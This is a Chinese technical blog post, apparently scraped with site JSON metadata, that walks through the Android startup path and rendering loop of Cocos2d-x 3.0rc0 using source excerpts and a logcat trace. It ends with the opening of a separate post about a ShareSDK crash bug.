GLSurfaceView实例set给Window对象，并在为GLSurfaceView设置Renderer实例时创建Renderer Thread(渲染线程）。而Java代码则通过jni将游戏引擎中的C++代码引入。\nCocos2d-x 3.0版本则进一步摆脱Java束缚，当然也有新渲染器设计方面的考虑，3.0版本直接使用了Android NDK中提供的NativeActivity，我们游戏的主Activity(比如cpp-empty-test中的Cocos2dxActivity) 直接从NativeActivity继承：\n// tests/cpp-empty-test/proj.android/src/org/cocos2dx/cpp_empty_test/Cocos2dxActivity.java\npublic class Cocos2dxActivity extends NativeActivity {\n@Override\nprotected void onCreate(Bundle savedInstanceState) {\n// TODO Auto-generated method stub\nsuper.onCreate(savedInstanceState);\n… …\n//2.Set the format of window\n// getWindow().setFormat(PixelFormat.TRANSLUCENT);\n}\n}\n可以看出这里的Cocos2dxActivity啥也没做，因此整个Cocos2d-x 3.0游戏的起点就应该是NativeActivity了。\nNativeActivity是Android专为使用NDK开发Android应用而实现的一个Activity类，通过使用 NativeActivity，开发者可以最大程度地摆脱Java代码的编写，尽可能的使用C++代码。\n二、NativeActivity的原理\nNativeActivity在Android 2.3版本引入，其核心方法依旧是onCreate，我们一起来看一下(省略部分与分析无关的代码)：\n// NativeActivity.java(Android 4.4.2_r1)\n@Override\nprotected void onCreate(Bundle savedInstanceState) {\nString libname = \u0026ldquo;main\u0026rdquo;;\nString funcname = \u0026ldquo;ANativeActivity_onCreate\u0026rdquo;;\nActivityInfo ai;\n… …\nmNativeContentView = new NativeContentView(this);\nmNativeContentView.mActivity = this;\nsetContentView(mNativeContentView);\nmNativeContentView.requestFocus();\nmNativeContentView.getViewTreeObserver()\n.addOnGlobalLayoutListener(this);\ntry {\nai = getPackageManager().getActivityInfo(\ngetIntent().getComponent(),\nPackageManager.GET_META_DATA);\nif (ai.metaData != null) {\nString ln = ai.metaData.getString(META_DATA_LIB_NAME);\nif (ln != null) libname = ln;\nln = ai.metaData.getString(META_DATA_FUNC_NAME);\nif (ln != null) funcname = ln;\n}\n} catch (PackageManager.NameNotFoundException e) {\nthrow new RuntimeException(\u0026ldquo;Error getting activity info\u0026rdquo;, e);\n}\nString path = null;\nFile libraryFile = new File(ai.applicationInfo.nativeLibraryDir,\nSystem.mapLibraryName(libname));\nif (libraryFile.exists()) {\npath = libraryFile.getPath();\n}\nif (path == null) {\nthrow new IllegalArgumentException(\n\u0026ldquo;Unable to find native library: \u0026quot; + libname);\n}\nbyte[] nativeSavedState = savedInstanceState != null\n? savedInstanceState.getByteArray(KEY_NATIVE_SAVED_STATE) : null;\nmNativeHandle = loadNativeCode(path, funcname, Looper.myQueue(),\ngetAbsolutePath(getFilesDir()), getAbsolutePath(getObbDir()),\ngetAbsolutePath(getExternalFilesDir(null)),\nBuild.VERSION.SDK_INT, getAssets(), nativeSavedState);\nif (mNativeHandle == 0) {\nthrow new IllegalArgumentException(\u0026ldquo;Unable to load native library: \u0026quot;\n+ path);\n}\nsuper.onCreate(savedInstanceState);\n}\n从NativeActivity的onCreate代码我们大致可以看出，NativeActivity在游戏对应的原生库(.so)中查找名为\u0026quot;ANativeActivity_onCreate\u0026quot;的函数，并执行该函数。其执行 是通过loadNativeCode这个Jni方法实现的。loadNativeCode在 /core/jni/android_app_NativeActivity.cpp中有实现：\n/core/jni/android_app_NativeActivity.cpp\nstatic jint\nloadNativeCode_native(JNIEnv* env, jobject clazz, jstring path, jstring funcName,\njobject messageQueue,\njstring internalDataDir, jstring externalDataDir, int sdkVersion,\njobject jAssetMgr, jbyteArray savedState)\n{\nLOG_TRACE(\u0026ldquo;loadNativeCode_native\u0026rdquo;);\nconst char* pathStr = env-\u0026gt;GetStringUTFChars(path, NULL);\nNativeCode* code = NULL;\nvoid* handle = dlopen(pathStr, RTLD_LAZY);\nenv-\u0026gt;ReleaseStringUTFChars(path, pathStr);\nif (handle != NULL) {\nconst char* funcStr = env-\u0026gt;GetStringUTFChars(funcName, NULL);\ncode = new NativeCode(handle, (ANativeActivity_createFunc*)\ndlsym(handle, funcStr));\nenv-\u0026gt;ReleaseStringUTFChars(funcName, funcStr);\nif (code-\u0026gt;createActivityFunc == NULL) {\nLOGW(\u0026ldquo;ANativeActivity_onCreate not found\u0026rdquo;);\ndelete code;\nreturn 0;\n}\n… …\ncode-\u0026gt;createActivityFunc(code, rawSavedState, rawSavedSize);\nif (rawSavedState != NULL) {\nenv-\u0026gt;ReleaseByteArrayElements(savedState, rawSavedState, 0);\n}\n}\nreturn (jint)code;\n}\n做过系统编程的朋友想必对dlsym都很熟系，这个函数用来从一个打开的.so中(dlopen)获得某个函数对应的代码地址。 code-\u0026gt;createActivityFunc则是执行这个函数。\n我们在强化一下，费了半天劲儿找到并执行的这个函数的名字是：ANativeActivity_onCreate。 如果你要使用NativeActivity，你就必须提供一份ANativeActivity_onCreate函数的实现。在该函数的实现中， 你要为Activity注册各种生命周期事件以及其他输入事件的回调函数，比如onStart、onResume、onDestroy等。NDK 官方文档中有详细的说明。\n不过这样一来，所有的事件处理均在NativeActivity所在的主线程里执行，为了不阻塞主线程的页面刷新以及交互响应，我们需要将这些回 调函数实现的短小精悍，不能拖泥带水，不能“干重活儿”。以前使用SDK时，Android SDK提供了AsyncTask, Handler, Runnable, Thread等诸多手段帮助在后台处理一些“重量级”的事情，但在NDK中，我们该如何处理呢？NDK也为我们提供了一种方案： android_native_app_glue。\nandroid_native_app_glue大致做了这么几件事：\n1、实现了ANativeActivity_onCreate函数，注册了 Callback函数；\n2、创建一个新的子Thread，用于干重活儿\n3、在Main Thread和新线程之间建立了一个管道，用于Main Thread给新线程传递各种事件，以便后者读取并处理。\n可以说native_app_glue的存在，进一步降低了 NativeActivity的使用门槛，否则以上诸事均要有开发人员自行实现。\n下面结合源码做简单说明：\n// android-ndk-r9c/sources/android/native_app_glue/android_native_app_glue.c\nvoid ANativeActivity_onCreate(ANativeActivity* activity,\nvoid* savedState, size_t savedStateSize) {\nLOGV(\u0026ldquo;Creating: %p\\n\u0026rdquo;, activity);\nactivity-\u0026gt;callbacks-\u0026gt;onDestroy = onDestroy;\nactivity-\u0026gt;callbacks-\u0026gt;onStart = onStart;\nactivity-\u0026gt;callbacks-\u0026gt;onResume = onResume;\nactivity-\u0026gt;callbacks-\u0026gt;onSaveInstanceState = onSaveInstanceState;\nactivity-\u0026gt;callbacks-\u0026gt;onPause = onPause;\nactivity-\u0026gt;callbacks-\u0026gt;onStop = onStop;\nactivity-\u0026gt;callbacks-\u0026gt;onConfigurationChanged = onConfigurationChanged;\nactivity-\u0026gt;callbacks-\u0026gt;onLowMemory = onLowMemory;\nactivity-\u0026gt;callbacks-\u0026gt;onWindowFocusChanged = onWindowFocusChanged;\nactivity-\u0026gt;callbacks-\u0026gt;onNativeWindowCreated = onNativeWindowCreated;\nactivity-\u0026gt;callbacks-\u0026gt;onNativeWindowDestroyed = onNativeWindowDestroyed;\nactivity-\u0026gt;callbacks-\u0026gt;onInputQueueCreated = onInputQueueCreated;\nactivity-\u0026gt;callbacks-\u0026gt;onInputQueueDestroyed = onInputQueueDestroyed;\nactivity-\u0026gt;instance = android_app_create(activity, savedState, savedStateSize);\n}\nstatic struct android_app* android_app_create(ANativeActivity* activity,\nvoid* savedState, size_t savedStateSize) {\nstruct android_app* android_app = (struct android_app*)malloc(sizeof(struct android_app));\nmemset(android_app, 0, sizeof(struct android_app));\nandroid_app-\u0026gt;activity = activity;\npthread_mutex_init(\u0026amp;android_app-\u0026gt;mutex, NULL);\npthread_cond_init(\u0026amp;android_app-\u0026gt;cond, NULL);\n… …\nint msgpipe[2];\nif (pipe(msgpipe)) {\nLOGE(\u0026ldquo;could not create pipe: %s\u0026rdquo;, strerror(errno));\nreturn NULL;\n}\nandroid_app-\u0026gt;msgread = msgpipe[0];\nandroid_app-\u0026gt;msgwrite = msgpipe[1];\npthread_attr_t attr;\npthread_attr_init(\u0026amp;attr);\npthread_attr_setdetachstate(\u0026amp;attr, PTHREAD_CREATE_DETACHED);\npthread_create(\u0026amp;android_app-\u0026gt;thread, \u0026amp;attr, android_app_entry, android_app);\n// Wait for thread to start.\npthread_mutex_lock(\u0026amp;android_app-\u0026gt;mutex);\nwhile (!android_app-\u0026gt;running) {\npthread_cond_wait(\u0026amp;android_app-\u0026gt;cond, \u0026amp;android_app-\u0026gt;mutex);\n}\npthread_mutex_unlock(\u0026amp;android_app-\u0026gt;mutex);\nreturn android_app;\n}\n上面的android_app_create创建了子线程，建立了两个线程的pipe，新线程的入口是android_app_entry：\nstatic void* android_app_entry(void* param) {\nstruct android_app* android_app = (struct android_app*)param;\nandroid_app-\u0026gt;config = AConfiguration_new();\nAConfiguration_fromAssetManager(android_app-\u0026gt;config,\nandroid_app-\u0026gt;activity-\u0026gt;assetManager);\nprint_cur_config(android_app);\nandroid_app-\u0026gt;cmdPollSource.id = LOOPER_ID_MAIN;\nandroid_app-\u0026gt;cmdPollSource.app = android_app;\nandroid_app-\u0026gt;cmdPollSource.process = process_cmd;\nandroid_app-\u0026gt;inputPollSource.id = LOOPER_ID_INPUT;\nandroid_app-\u0026gt;inputPollSource.app = android_app;\nandroid_app-\u0026gt;inputPollSource.process = process_input;\nALooper* looper = ALooper_prepare(\nALOOPER_PREPARE_ALLOW_NON_CALLBACKS);\nALooper_addFd(looper, android_app-\u0026gt;msgread,\nLOOPER_ID_MAIN,\nALOOPER_EVENT_INPUT, NULL,\n\u0026amp;android_app-\u0026gt;cmdPollSource);\nandroid_app-\u0026gt;looper = looper;\npthread_mutex_lock(\u0026amp;android_app-\u0026gt;mutex);\nandroid_app-\u0026gt;running = 1;\npthread_cond_broadcast(\u0026amp;android_app-\u0026gt;cond);\npthread_mutex_unlock(\u0026amp;android_app-\u0026gt;mutex);\nandroid_main(android_app);\nandroid_app_destroy(android_app);\nreturn NULL;\n}\n新线程建立了事件处理设施(looper)，并通知主线程（通过条件变量）app正式开始运行了(running = 1)，之后进入android_main。\nCocos2d-x 3.0采用的就是android_native_app_glue这 种方案，而android_main则是Cocos2d-x 3.0引擎层的入口。\n//cocos/2d/platform/android/Android.mk\nLOCAL_WHOLE_STATIC_LIBRARIES := android_native_app_glue cocos_png_static cocos_jpeg_static cocos_tiff_static cocos_webp_static\n$(call import-module,android/native_app_glue)\n三**、走进引擎**\n从android_main函数开始，我们就进入了Cocos2d-x 3.0引擎的范畴。android_main函数比较长，我们挑重点说：\ncocos/2d/platform/android/nativeactivity.cpp\nvoid android_main(struct android_app* state) {\n… …\nmemset(\u0026amp;engine, 0, sizeof(engine));\nstate-\u0026gt;userData = \u0026amp;engine;\nstate-\u0026gt;onAppCmd = engine_handle_cmd;\nstate-\u0026gt;onInputEvent = engine_handle_input;\nstate-\u0026gt;inputPollSource.process = process_input;\nengine.app = state;\n// Prepare to monitor accelerometer\n… …\nwhile (1) {\n// Read all pending events.\nint ident;\nint events;\nstruct android_poll_source* source;\n// If not animating, we will block forever waiting for events.\n// If animating, we loop until all events are read, then continue\n// to draw the next frame of animation.\nwhile ((ident=ALooper_pollAll(engine.animating ? 0 : -1,\nNULL, \u0026amp;events,\n(void**)\u0026amp;source)) \u0026gt;= 0) {\n// Process this event.\nif (source != NULL) {\nsource-\u0026gt;process(state, source);\n}\n… …\n// Check if we are exiting.\nif (state-\u0026gt;destroyRequested != 0) {\nengine_term_display(\u0026amp;engine);\nmemset(\u0026amp;engine, 0, sizeof(engine));\ns_methodInitialized = false;\nreturn;\n}\n}\nif (engine.animating) {\n// Done with events; draw next animation frame.\nengine.state.angle += .01f;\nif (engine.state.angle \u0026gt; 1) {\nengine.state.angle = 0;\n}\n// Drawing is throttled to the screen update rate, so there\n// is no need to do timing here.\nLOG_RENDER_DEBUG(\u0026ldquo;android_main : engine.animating\u0026rdquo;);\nengine_draw_frame(\u0026amp;engine);\n} else {\nLOG_RENDER_DEBUG(\u0026ldquo;android_main : !engine.animating\u0026rdquo;);\n}\n…\n}\n}\nandroid_main有些像cocos2d-x 2.2.2中GLThread的guardedRun方法，里面基本上就是一个死循环(while (1))，简化后的逻辑大致如下：\nvoid android_main(struct android_app* state) {\nwhile (1) {\nDo Main Thread Event Processing \u0026amp; Input Event Processing;\nif (engine.animating) {\n// draw next animation frame 画下一帧\nengine_draw_frame(\u0026amp;engine);\n}\n}\n}\n而引擎的初始化和帧渲染就是在这个死循环中一步步完成的。\n引擎的初始化始于APP_CMD_INIT_WINDOW事件，在engine_handle_cmd中，我们可以看到：\nstatic void engine_handle_cmd(struct android_app* app, int32_t cmd)\n{\nstruct engine* engine = (struct engine*)app-\u0026gt;userData;\nswitch (cmd) {\n… …\ncase APP_CMD_INIT_WINDOW:\n// The window is being shown, get it ready.\nif (engine-\u0026gt;app-\u0026gt;window != NULL) {\ncocos_dimensions d = engine_init_display(engine);\nif ((d.w \u0026gt; 0) \u0026amp;\u0026amp;\n(d.h \u0026gt; 0)) {\ncocos2d::JniHelper::setJavaVM(app-\u0026gt;activity-\u0026gt;vm);\ncocos2d::JniHelper::setClassLoaderFrom(app-\u0026gt;activity-\u0026gt;clazz);\n// call Cocos2dxHelper.init()\ncocos2d::JniMethodInfo ccxhelperInit;\nif (!cocos2d::JniHelper::getStaticMethodInfo(ccxhelperInit,\n\u0026ldquo;org/cocos2dx/lib/Cocos2dxHelper\u0026rdquo;,\n\u0026ldquo;init\u0026rdquo;,\n\u0026ldquo;(Landroid/app/Activity;)V\u0026rdquo;)) {\nLOGI(\u0026ldquo;cocos2d::JniHelper::getStaticMethodInfo(ccxhelperInit) FAILED\u0026rdquo;);\n}\nccxhelperInit.env-\u0026gt;CallStaticVoidMethod(ccxhelperInit.classID,\nccxhelperInit.methodID,\napp-\u0026gt;activity-\u0026gt;clazz);\ncocos_init(d, app);\n}\nengine-\u0026gt;animating = 1;\nengine_draw_frame(engine);\n}\nbreak;\n… …\n}\n}\n当收到主线程通知的窗口建立事件时，engine_handle_cmd的APP_CMD_INIT_WINDOW事件处理函数主要做了两件事：\n1、调用engine_init_display初始化EGL；\n2、调用cocos_init初始化引擎的主要角色。\n这里进入到引擎初始化的前提是“engine-\u0026gt;app-\u0026gt;window != NULL”。而app-\u0026gt;window的设置是在native_app_glue中进行的，大致流程是：\nMain Thread：\nonNativeWindowCreated\n-\u0026gt; android_app_set_window\n-\u0026gt; android_app-\u0026gt;pendingWindow = window;\n-\u0026gt; android_app_write_cmd(android_app, APP_CMD_INIT_WINDOW);\nSub Thread:\nprocess_cmd\n-\u0026gt; android_app_pre_exec_cmd\n-\u0026gt; android_app-\u0026gt;window = android_app-\u0026gt;pendingWindow;\n-\u0026gt; engine_handle_cmd(即app-\u0026gt;onAppCmd回调)，此时android_app-\u0026gt;window != NULL。\n四、引擎初始化\n前面说过，引擎初始化包括两部分：engine_init_display和cocos_init，我们分别来说说。\n1、engine_init_display\n//cocos/2d/platform/android/nativeactivity.cpp\nstatic cocos_dimensions engine_init_display(struct engine* engine)\n{\ncocos_dimensions r;\n… …\nEGLDisplay display = eglGetDisplay(EGL_DEFAULT_DISPLAY);\neglInitialize(display, 0, 0);\neglChooseConfig(display, attribs, \u0026amp;config, 1, \u0026amp;numConfigs);\neglGetConfigAttrib(display, config, EGL_NATIVE_VISUAL_ID, \u0026amp;format);\nANativeWindow_setBuffersGeometry(engine-\u0026gt;app-\u0026gt;window, 0, 0, format);\nsurface = eglCreateWindowSurface(display, config, engine-\u0026gt;app-\u0026gt;window, NULL);\nconst EGLint eglContextAttrs[] =\n{\nEGL_CONTEXT_CLIENT_VERSION, 2,\nEGL_NONE\n};\ncontext = eglCreateContext(display, config, NULL, eglContextAttrs);\nif (eglMakeCurrent(display, surface, surface, context) == EGL_FALSE) {\nLOGW(\u0026ldquo;Unable to eglMakeCurrent\u0026rdquo;);\nreturn r;\n}\neglQuerySurface(display, surface, EGL_WIDTH, \u0026amp;w);\neglQuerySurface(display, surface, EGL_HEIGHT, \u0026amp;h);\nengine-\u0026gt;display = display;\nengine-\u0026gt;context = context;\nengine-\u0026gt;surface = surface;\nengine-\u0026gt;width = w;\nengine-\u0026gt;height = h;\nengine-\u0026gt;state.angle = 0;\nr.w = w;\nr.h = h;\nreturn r;\n}\n这段代码应该是典型的EGL初始化流程，几乎每本有关EGL或opengl es的教程中都会有类似描述。个人对opengl以及EGL了解不多，从一些书籍或网络资料中大致得到如下一些理解：\n首先，Android下每个Activity都会有对应窗口(Window)以及View，View就是显示在屏幕上的内容。NativeActivity初始化时设置了一个NativeContentView（View的子类）：\n// android/app/NativeActivity.java\nstatic class NativeContentView extends View {\nNativeActivity mActivity;\npublic NativeContentView(Context context) {\nsuper(context);\n}\npublic NativeContentView(Context context,\nAttributeSet attrs) {\nsuper(context, attrs);\n}\n}\nprotected void onCreate(Bundle savedInstanceState) {\n… …\nmNativeContentView = new NativeContentView(this);\nmNativeContentView.mActivity = this;\nsetContentView(mNativeContentView);\n… …\n}\n但Cocos2d-x显然不会使用这个View，而是直接在窗口用opengl绘图。EGL大致有三个元素：Context、Display以及 Surface。它们之间的大致关系是：EGL通过Context指挥opengl在Surface画布（一种帧缓冲FrameBuffer）上绘制，绘 制完成后再Swap到窗口的Display显示器上去，这样我们就能看到绘制的图像了。2D游戏引擎的渲染器用的都是这个原理。关于上述EGL初始化的具 体调用含义这里就不赘述了，大家如要深入了解，可以找本OpenGL ES相关的书去看看。\n2、cocos_init\nstatic void cocos_init(cocos_dimensions d, struct android_app* app)\n{\nLOGI(\u0026ldquo;cocos_init(…)\u0026rdquo;);\npthread_t thisthread = pthread_self();\nLOGI(\u0026ldquo;pthread_self() = %X\u0026rdquo;, thisthread);\ncocos2d::FileUtilsAndroid::setassetmanager(app-\u0026gt;activity-\u0026gt;assetManager);\nauto director = cocos2d::Director::getInstance();\nauto glview = director-\u0026gt;getOpenGLView();\nif (!glview)\n{\nglview = cocos2d::GLView::create(\u0026ldquo;Android app\u0026rdquo;);\nglview-\u0026gt;setFrameSize(d.w, d.h);\ndirector-\u0026gt;setOpenGLView(glview);\ncocos_android_app_init(app);\ncocos2d::Application::getInstance()-\u0026gt;run();\n}\nelse\n{\ncocos2d::GL::invalidateStateCache();\ncocos2d::ShaderCache::getInstance()-\u0026gt;reloadDefaultShaders();\ncocos2d::DrawPrimitives::init();\ncocos2d::VolatileTextureMgr::reloadAllTextures();\ncocos2d::EventCustom foregroundEvent(EVENT_COME_TO_FOREGROUND);\ndirector-\u0026gt;getEventDispatcher()-\u0026gt;dispatchEvent(\u0026amp;foregroundEvent);\ndirector-\u0026gt;setGLDefaultValues();\n}\n}\n分析过Cocos2d-x 2.x版本引擎结构的朋友对这段代码一定比较眼熟，没错，在2.x版本中这段代码是放在游戏项目的proj.android/jni/下的，在jni方法Java_org_cocos2dx_lib_Cocos2dxRenderer_nativeInit中我们可以看到类似代码。\n在cocos_init中我们看到了Cocos2d-x游戏引擎的一个重要角色Director的创建和初始化：\nauto director = cocos2d::Director::getInstance();\n//cocos/2d/CCDirector.cpp\nbool Director::init(void)\n{\nsetDefaultValues();\n… …\n_openGLView = nullptr;\n_contentScaleFactor = 1.0f;\n// scheduler\n_scheduler = new Scheduler();\n// action manager\n_actionManager = new ActionManager();\n_scheduler-\u0026gt;scheduleUpdate(_actionManager,\nScheduler::PRIORITY_SYSTEM, false);\n_eventDispatcher = new EventDispatcher();\n_eventAfterDraw = new EventCustom(EVENT_AFTER_DRAW);\n_eventAfterDraw-\u0026gt;setUserData(this);\n_eventAfterVisit = new EventCustom(EVENT_AFTER_VISIT);\n_eventAfterVisit-\u0026gt;setUserData(this);\n_eventAfterUpdate = new EventCustom(EVENT_AFTER_UPDATE);\n_eventAfterUpdate-\u0026gt;setUserData(this);\n_eventProjectionChanged = new EventCustom(EVENT_PROJECTION_CHANGED);\n_eventProjectionChanged-\u0026gt;setUserData(this);\n//init TextureCache\ninitTextureCache();\n_renderer = new Renderer;\n_console = new Console;\nreturn true;\n}\n诸多引擎基础设施都是在Director::init中被初始化的，这里最重要的就是Renderer了，这个就是Cocos2d-x 3.0新实现的渲染器。\nDirector初始化后，_openGLView == NULL，后续cocos_init调用cocos2d::GLView::create(\u0026ldquo;Android app\u0026rdquo;)创建GLView，并set到Director中。这个View似乎更多是用来辅助处理屏幕适配以及触屏事件处理的。\ncocos_init最后调用了cocos_android_app_init(app)，这个函数实现在你的游戏工程中，以cpp-empty- test为例，在tests/cpp-empty-test/proj.android/jni/main.cpp中我们看到了该函数的实现：\nvoid cocos_android_app_init (struct android_app* app) {\nLOGD(\u0026ldquo;cocos_android_app_init\u0026rdquo;);\nAppDelegate *pAppDelegate = new AppDelegate();\n}\n我们已经进入游戏业务逻辑层了。和Cocos2d-x 2.x版本一样，Classes/AppDelegate.cpp中的 AppDelegate::applicationDidFinishLaunching依旧是我们初始化我们游戏业务逻辑层的入口。而这一入口函数是在 cocos_init中的cocos2d::Application::getInstance()-\u0026gt;run()调用时被调用的。\n// /cocos/2d/platform/android/CCApplication.cpp\nint Application::run()\n{\n// Initialize instance and cocos2d.\nif (! applicationDidFinishLaunching())\n{\nreturn 0;\n}\nreturn -1;\n}\n至此，我们又回到了熟悉的游戏业务逻辑层，也就是你的游戏project中。\n五、到底发生了哪些重要变化\n之前听说Cocos2d-x 3.0引擎的一个重要改造就是尽可能利用多线程，利用硬件的多核来提升游戏渲染性能。这给我的错觉是Renderer Thread完全独立出去，只负责渲染。但实际发布的版本似乎并不是这么回事。Cocos2d-x 2.x版本是两个线程，3.0版本依旧是两个线程，从cpp-empty-test运行的logcat日志也能看出来：\n04-21 07:36:52.779 1522 1522 D dalvikvm: Late-enabling CheckJNI\n04-21 07:36:52.783 1522 1522 I dalvikvm: Enabling JNI app bug workarounds for target SDK version 9…\n04-21 07:36:52.783 561 573 I ActivityManager: Start proc org.cocos2dx.cpp_empty_test for activity org.cocos2dx.cpp_empty_test/. Cocos2dxActivity: pid=1522 uid=10056 gids={50056}\n04-21 07:36:53.047 1522 1535 D libEGL : loaded /system/lib/egl/libEGL_genymotion.so\n04-21 07:36:53.047 1522 1535 D : HostConnection::get() New Host Connection established 0xb918a7c8, tid 1535\n04-21 07:36:53.071 1522 1535 D libEGL : loaded /system/lib/egl/libGLESv1_CM_genymotion.so\n04-21 07:36:53.083 1522 1535 D libEGL : loaded /system/lib/egl/libGLESv2_genymotion.so\n04-21 07:36:53.143 1522 1535 D JniHelper: JniHelper::setJavaVM(0xb903a730), pthread_self() = B9180250\n04-21 07:36:53.155 1522 1535 I cocos2dx/nativeactivity.cpp: cocos_init(…)\n… …\n04-21 07:36:53.395 1522 1535 D main : cocos_android_app_init\n04-21 07:36:53.419 1522 1535 D CCFileUtilsAndroid.cpp: relative path = ipadhd/CloseNormal.png\n04-21 07:36:53.427 1522 1535 D CCFileUtilsAndroid.cpp: relative path = ipadhd/CloseSelected.png\n04-21 07:36:53.439 1522 1535 D cocos2d-x debug info: cocos2d: fullPathForFilename: No file found at Arial. Possible missing file.\n04-21 07:36:53.447 1522 1535 D dalvikvm: GC_FOR_ALLOC freed 64K, 4% free 3455K/3584K, paused 7ms, total 7ms\n04-21 07:36:53.467 1522 1535 D CCFileUtilsAndroid.cpp: relative path = ipadhd/HelloWorld.png\n04-21 07:36:54.003 1522 1535 I cocos2dx/nativeactivity.cpp: engine_draw_frame(…)\n04-21 07:36:54.003 1522 1535 I cocos2dx/nativeactivity.cpp: pthread_self() = B9180250\n04-21 07:36:54.003 1522 1535 I cocos2dx/nativeactivity.cpp: engine_draw_frame : just called cocos\u0026rsquo; mainLoop()\n04-21 07:36:54.051 1522 1535 I cocos2dx/nativeactivity.cpp: android_main : engine.animating\n04-21 07:36:54.051 1522 1535 I cocos2dx/nativeactivity.cpp: engine_draw_frame(…)\n04-21 07:36:54.051 1522 1535 I cocos2dx/nativeactivity.cpp: pthread_self() = B9180250\n… …\n04-21 07:36:56.507 1522 1535 I Process : Sending signal. PID: 1522 SIG: 9\n可以看出NativeActivity所在的主线程号为1522，但绝大多数工作都在1535这个渲染线程，也就是native_app_glue库中创 建的那个线程。Scene Graph管理和Renderer::render依旧都在该Thread内完成，这似乎也很难有效并充分的利用起多核的效能啊。cpp-empty- test在我的genymotion模拟器上跑时，帧数始终在50帧左右。\n不过Renderer的确是重写的，并且将2.x版本中Scene Graph的管理与渲染之间的耦合解耦开来。每帧按Scene Graph Visit Node时并不真正执行渲染，而只是构造DrawCommand，并插入到Renderer的DrawCommand队列中：\n// draw\nvoid Sprite::draw(Renderer *renderer, const kmMat4 \u0026amp;transform, bool transformUpdated)\n{\n// Don\u0026rsquo;t do calculate the culling if the transform was not updated\n_insideBounds = transformUpdated ? isInsideBounds() : _insideBounds;\nif(_insideBounds)\n{\n_quadCommand.init(_globalZOrder, _texture-\u0026gt;getName(), _shaderProgram, _blendFunc, \u0026amp;_quad, 1, transform);\nrenderer-\u0026gt;addCommand(\u0026amp;_quadCommand);\n#if CC_SPRITE_DEBUG_DRAW\n_customDebugDrawCommand.init(_globalZOrder);\n_customDebugDrawCommand.func = CC_CALLBACK_0(Sprite::drawDebugData, this);\nrenderer-\u0026gt;addCommand(\u0026amp;_customDebugDrawCommand);\n#endif //CC_SPRITE_DEBUG_DRAW\n}\n}\n在Director::drawScene尾部我们能看到真正的渲染动作render()被调用：\nvoid Director::drawScene()\n{\n… …\n// draw the scene\nif (_runningScene)\n{\n_runningScene-\u0026gt;visit(_renderer, identity, false);\n_eventDispatcher-\u0026gt;dispatchEvent(_eventAfterVisit);\n}\n_renderer-\u0026gt;render();\n_eventDispatcher-\u0026gt;dispatchEvent(_eventAfterDraw);\nkmGLPopMatrix();\n_totalFrames++;\n// swap buffers\nif (_openGLView)\n{\n_openGLView-\u0026gt;swapBuffers();\n}\nif (_displayStats)\n{\ncalculateMPF();\n}\n}\n这里我们看到了 _openGLView-\u0026gt;swapBuffers()，但该方法的具体实现为空，真正swapBuffers调用在外层：\nstatic void engine_draw_frame(struct engine* engine)\n{\nLOG_RENDER_DEBUG(\u0026ldquo;engine_draw_frame(…)\u0026rdquo;);\npthread_t thisthread = pthread_self();\nLOG_RENDER_DEBUG(\u0026ldquo;pthread_self() = %X\u0026rdquo;, thisthread);\nif (engine-\u0026gt;display == NULL) {\n// No display.\nLOGW(\u0026ldquo;engine_draw_frame : No display.\u0026rdquo;);\nreturn;\n}\ndispatch_pending_runnables();\ncocos2d::Director::getInstance()-\u0026gt;mainLoop();\nLOG_RENDER_DEBUG(\u0026ldquo;engine_draw_frame : just called cocos\u0026rsquo; mainLoop()\u0026rdquo;);\n/* // Just fill the screen with a color. */\n/* glClearColor(((float)engine-\u0026gt;state.x)/engine-\u0026gt;width, engine-\u0026gt;state.angle, */\n/* ((float)engine-\u0026gt;state.y)/engine-\u0026gt;height, 1); */\n/* glClear(GL_COLOR_BUFFER_BIT); */\nif (s_pfEditTextCallback \u0026amp;\u0026amp; editboxText)\n{\ns_pfEditTextCallback(editboxText, s_ctx);\nfree(editboxText);\neditboxText = NULL;\n}\neglSwapBuffers(engine-\u0026gt;display, engine-\u0026gt;surface);\n}\n还记得android_main中的“死循环”么？那个死循环在每一帧都会调用engine_draw_frame方法，而这恰是整个Cocos2d-x 3.0引擎的驱动中心。\n通过汇集各个Node的DrawCommand而不是直接Draw，新渲染器可以做一些优化，比如Batch Renderer等。这在上一版本引擎中较难实现，或者只能显式的通过CCSpriteBatchNode实现。更多的好处可以参考官方说明，或待日后使 用引擎时挖掘。\n六、其他\nCocos2d-x 3.0引擎的C++部分采用了C++ 11标准中的语法，因此如果你要编译Linux版本游戏，你需要升级你的gcc编译器到4.7以上版本。但如果只构建Android 游戏，Android NDK(r9c以后版本)早为我们准备好了arm和x86平台的4.8版本的g++编译器了。\nCocos2d-x 3.0的内存管理依旧沿用内存计数机制，如果你理解了2.x版本的内存管理，理解3.0版本应该不会有太大问题。\n","permalink":"https://tonybai.com/2014/04/22/hello-cocos2dx-3-rc0/","summary":"\u003cp\u003e\u003ca href=\"http://www.cocos2d-x.org/\"\u003eCocos2d-x\u003c/a\u003e 3.0版本已经发布了\u003ca href=\"http://www.cocos2d-x.org/news/207\"\u003erc2\u003c/a\u003e，这让这段时间用熟了Cocos2d-x 2.2.2的我也有些蠢蠢欲动。按照\u003ca href=\"http://www.chukong-inc.com/\"\u003e触控科技\u003c/a\u003e主创人员在CocoaChina2014大会上的讲解，Cocos2d-x 3.0版本相比2.x版本在各方面都有不错的提升，于是乎就想把手头上的一款习作移植到3.0版本引擎下，看看运行效果如何。不过在移植之前，我先来看看 3.0与2.0相比在整体代码结构以及引擎驱动核心方面到底有哪些变化。一旦搞定这些原理，迁移什么都不是问题了。这里以Cocos2d-x 3.0rc0版的Android平台引擎为例。\u003c/p\u003e","title":"Hello, Cocos2d-x 3.0rc0"},{"content":"近期研究了一下Game App做社交分享，最后选择了ShareSDK来集成，不仅是因为ShareSDK支持国内外主流社交平台，更重要的是ShareSDK提供了专门的 cocos2d-x集成方案，有专门的文档和代码Demo供开发者参考。\n文档中提到了三种集成方式：纯Java方式、plugin-x方式以及Cocos2d-x专用组件方式，这里选择了ShareSDK Cocos2d-x专用组件（v2.3.7版本)的方式。按照文档中描述的步骤进行的相对顺利，在各个社交平台的appkey生效后，我们对demo app进行了测试，居然发现app经常随机性的崩溃，有时甚至是每次都崩溃，经过深入分析，发现这是ShareSDK Cocos2d-x专用组件的一个严重Bug，下面详细说明一下Bug的产生原因以及Fix方法。\n一、App崩溃的场景和代码位置\n发生崩溃的场景如下：\nApp Demo中有一个\u0026quot;Share\u0026quot;按钮，点击该按钮，App Demo向已经授权的社交平台分享一些Test Content，而App Demo就在收到分享结果应答时发生了崩溃。\n代码位置大致如下：\nvoid AppDemo::onShareClick(CCObject* sender)\n{\n… …\nC2DXShareSDK::showShareMenu(NULL, content,\nCCPointMake(100, 